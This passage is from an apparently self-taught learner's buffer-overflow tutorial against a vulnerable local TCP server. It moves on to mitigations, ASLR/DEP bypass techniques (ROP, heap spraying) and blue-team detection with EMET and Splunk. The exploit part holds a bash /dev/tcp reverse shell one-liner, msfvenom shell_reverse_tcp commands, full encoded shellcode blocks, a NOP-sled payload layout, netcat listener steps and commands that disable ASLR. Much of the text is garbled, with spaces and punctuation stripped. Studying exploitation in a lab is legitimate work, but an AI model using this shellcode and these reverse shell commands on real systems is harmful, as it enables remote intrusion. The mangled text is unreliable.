one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It

lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)

The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate

a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and

not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there

isanaddedlayerofcomplexity

LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes

ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs

NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general

sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as

register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often

abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine

codeinstructionsrdquo

So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But

when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing

the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work

helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos

So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters

commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it

any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the

registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip

PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip

binsh-igtampdevtcp12700144440gtamp1

encodesto

x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x

2fx34x34x34x34x20x30x3ex26x31

Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly

from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a

simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX

To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86

encodedcommandthatthekernelcaninterpret

binsh-igtampdevtcp12700144440gtamp1

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

x86encodedShellCode

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01

xd8x7dxf3xdcx9b

TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully

understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally

worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders

- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform

- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina

singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos

ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is

malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced

- f=formathellipThatcanberawCJSPshelletcetc

- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore

- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere

Wheredoweputourmalware

While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the

clientpyscriptputtingthemalwarebeforeEIPlookslikethis

NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS

Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is

important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left

manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior

because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory

address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and

unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto

HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow

malware=x41x30

eip=x97xcfxfaxb7

eip=x41x41x41x41

ending=x90200

nopsled=(x41(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then

look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote

with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register

pointertojumpintothenopsled

One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that

specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that

can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out

bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo

for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell

codeaftertheEIPsowecanjumpintoESP

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip

x86encodedShellCodewBadCharacters(Fornextsection)

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01

xd8x7dxf3xdcx9bx00x00

Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade

UpdatedclientpyCodewiththeldquoBadCharactercoderdquo

Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the

clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and

overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a

connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection

willfail

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or

WHOIScommandsLetrsquosinvestigate

1 RightclickEIPinRegisterWindowsrarrFollowinDump

2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending

3 Lookforx00commandsandtrytonoticeanythingorstrange

WhattheTargetMachineSees

Whatwesentover

We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc

etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does

not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP

CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence

of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into

various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad

charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard

So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and

omitcharacters

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow

ofhellip

1 UseagiantblobofallASCIcharactersinHEX

2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline

Howtotestforbadcharactersandotherassemblyandregisterissues

Terminal1Server1337

Terminal2edb(orGDBIwonrsquotjudge)

fromedbrarrattachrarrServer

fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning

Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory

Yoursquollbelookingforx41orx90rsquos

Option1-AlltheASCII

x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10

x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20

x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30

x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40

x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50

x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60

x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70

x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80

x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90

x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0

xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0

xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0

xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0

xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0

xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff

Option2-Testsomespecificcommands

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto

thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest

Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution

ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime

issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo

KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor

hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO

commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell

NewPayload

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode

FinalResults

SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere

theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback

toourldquoattackingrdquoterminal(farthestright)

CommonBufferOverflowExampleandMitigations(inC)

WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare

morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated

stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline

orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()

andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe

assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe

registersofacompiledbinaryorreviewingtheoutputfromGHIDRA

gets

Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability

VulnerableCode(SOURCE)

printfexternallink(Inputsomethingnastyhere)

gets(something)

VulnerableCode(ASSEMBLY)

FixedCode

printfexternallink(Inputsomethingnastyhere)

fgets(usernameLENGTHstdin)

strcpy

Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone

contiguoustomemorywherethepayloadisstored

VulnerableCode

charstr1[10]

charstr2[]=badstuffhere

strcpy(str1str2)

FixedCode(SOURCE)

enumBUFFER_LIMIT=1024

intmain()

chardst[BUFFER_LIMIT]

charsrc[]=badstuffhere

intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)

if(buffer_lengthgt=BUFFER_LIMIT)

printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn

buffer_lengthBUFFER_LIMIT-1)

VulnerableCode(ASSEMBLY)

Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows

FixedCode(SOURCE)

enumBUFFER_BOUNDARY_SIZE=1024

charstr1[BUFFER_BOUNDARY_SIZE]

charstr2[]=badstuffhere

strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize

strcat

YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto

thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin

sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied

FixedCode(SOURCE)

defineBUFFER_BOUNDARY_SIZE1024

charbuff[BUFFER_BOUNDARY_SIZE]

Usesecurestrncpythenuse

strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)

buff[BUFFER_BOUNDARY_SIZE-1]=0

strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)

strcmp

ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach

otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot

validatethesizeoftheinputagainstthepredefinedbuffer

OtherMitigationstoBufferOverflows

During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable

ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the

following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits

need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my

own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the

newcomertodiptheirtoesintothesubjects

Canary

A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions

prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary

ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps

detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly

overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith

https0x00secorgtexploit-mitigation-techniques-stack-canaries5085

httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained

httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf

DEP-DataExecutionProtection

DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware

executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as

non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns

For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag

of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other

linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow

security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks

forroutineswithanytypeofbuffer

In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get

the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the

bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP

setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may

introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP

httpslwnnetArticles422487

httpslinuxdienetman8execstack

httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in

httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your

httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae

BypassingDEP

Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to

David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view

ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining

So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu

will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you

overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary

arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in

linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable

in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another

option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in

the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the

application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of

instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope

somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle

ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot

intendtohavethewordldquoheartrdquodidherdquo

Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your

payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP

gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET

instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps

An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute

ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script

which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1

But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it

difficulttocallexecve()orsystem()

Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove

found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create

a new executable space or change the flag for existing executable space However finding the memory addresses to these functions

andcallingthemappearstobeadifferentstory

httpsgithubcomJonathanSalwanROPgadget

httpswwwrapid7comresourcesrop-exploit-explained

httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf

httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf

httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi

ng-chains]pdf

ASLR(Addressspacelayoutrandomization)

Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation

BypassingASLR

Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and

windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible

chunksandhopefullythishelpsguidemyselfandotherfurtherstudies

NonASLRlinkedbinaries

It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with

some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something

that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR

enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the

memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program

with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass

ASLRandbeginaROPattack

httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf

httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf

PointerLeaksDanglingPointers

If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot

for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code

into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE

which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory

object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that

the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how

virtualfunctionsarereferencedviavirtualtables

httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf

httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf

httpswwwrapid7comresourceswhy-you-should-be-using-emet

HEAPSprayswithASLRdisabledVirtualAlloc()inWindows

If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create

write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can

either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by

VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this

seemslikejustplainluck

httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified

httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf

BlueteamEngineeringforpostBufferOverflow

For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just

learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos

are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues

SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to

Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I

thoughtthroughthisIlumpedthedetectionintotwobuckets

1 DetectingFailedBufferOverflowAttempts

2 DetectingSuccessfullyBufferOverflowAttempts

DetectingFailedBufferOverAttemptsinWindows

If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events

are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the

oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog

For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as

the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases

whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked

EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their

sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a

similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM

Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a

collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via

GPOetc

ltQueryListgt

ltQueryId=0Path=Applicationgt

ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt

ltQuerygt

ltQueryListgt

To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and

configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service

to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on

somepredefinedSplunkpolicy

Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an

exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog

The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server

BasicallythispolicysayswhichlogscangetsentontotheSIEM

[WinEventLogForwardedEvents]

disabled=0

renderXml=1

evt_resolve_ad_obj=1

The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to

and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk

queries

SampleEMETEvent

EMETversion55587131892

EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE

EAF+checkfailed

ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE

UserNameDOMAINuser

SessionID1

PID0x1348(4936)

TID0xF90(3984)

ModuleSOMEDLLdll

ModBase0x11630000

ModAddress0x11642E99

MemAddress0x76F501A4

Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to

prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may

need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice

beachheadtomaintainafoothold

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf

httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server

DetectingSuccessfulBufferOverAttempts

The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker

has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed

which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two

approachespaintsasolidpicture

1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)

2) Hostbasedsignaturedetection

NetworkBasedDetection

Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the

clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication

1 EncodedHEXpayloadmalwarewithintheclientattack

2 Abunchofx90rsquoswithintheclientattack

3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal

